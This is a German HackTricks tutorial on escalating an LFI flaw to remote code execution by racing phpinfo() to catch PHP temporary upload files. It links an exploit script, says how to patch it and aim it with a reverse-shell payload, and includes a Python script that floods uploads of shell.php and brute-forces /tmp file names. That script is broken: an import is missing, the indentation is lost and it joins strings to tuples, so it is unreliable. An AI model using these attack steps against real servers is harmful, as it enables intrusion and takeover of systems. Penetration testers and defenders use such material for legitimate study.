LFI2RCE via phpinfo()

Unterstütze HackTricks

Um diese Schwachstelle auszunutzen, benötigst du: Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file_uploads = on" und der Server muss in das Verzeichnis "/tmp" schreiben können.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Du musst den Exploit reparieren (ändere => in =>). Dazu kannst du Folgendes tun:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You müssen auch die payload zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die REQ1 (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), und LFIREQ (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Überprüfen Sie das doppelte "%" beim Ausnutzen des Nullzeichens)

Theorie

Wenn Uploads in PHP erlaubt sind und Sie versuchen, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.

Wenn Sie dann eine LFI-Schwachstelle im Webserver gefunden haben, können Sie versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem Sie auf die temporäre Datei zugreifen, bevor sie gelöscht wird.

In Windows werden die Dateien normalerweise in C:\Windows\temp\php gespeichert.

In Linux war der Name der Datei zufällig und befand sich in /tmp. Da der Name zufällig ist, ist es notwendig, den Namen der temporären Datei irgendwo zu extrahieren und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der Variable $_FILES im Inhalt der Funktion "phpconfig()" gelesen wird.

phpinfo()

PHP verwendet einen Puffer von 4096B und wenn er voll ist, wird er an den Client gesendet. Dann kann der Client eine Menge großer Anfragen senden (unter Verwendung großer Header), eine php Reverse Shell hochladen, auf die erste Rückgabe von phpinfo() warten (wo der Name der temporären Datei steht) und versuchen, auf die Temp-Datei zuzugreifen, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.

Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Unterstütze HackTricks

Last updated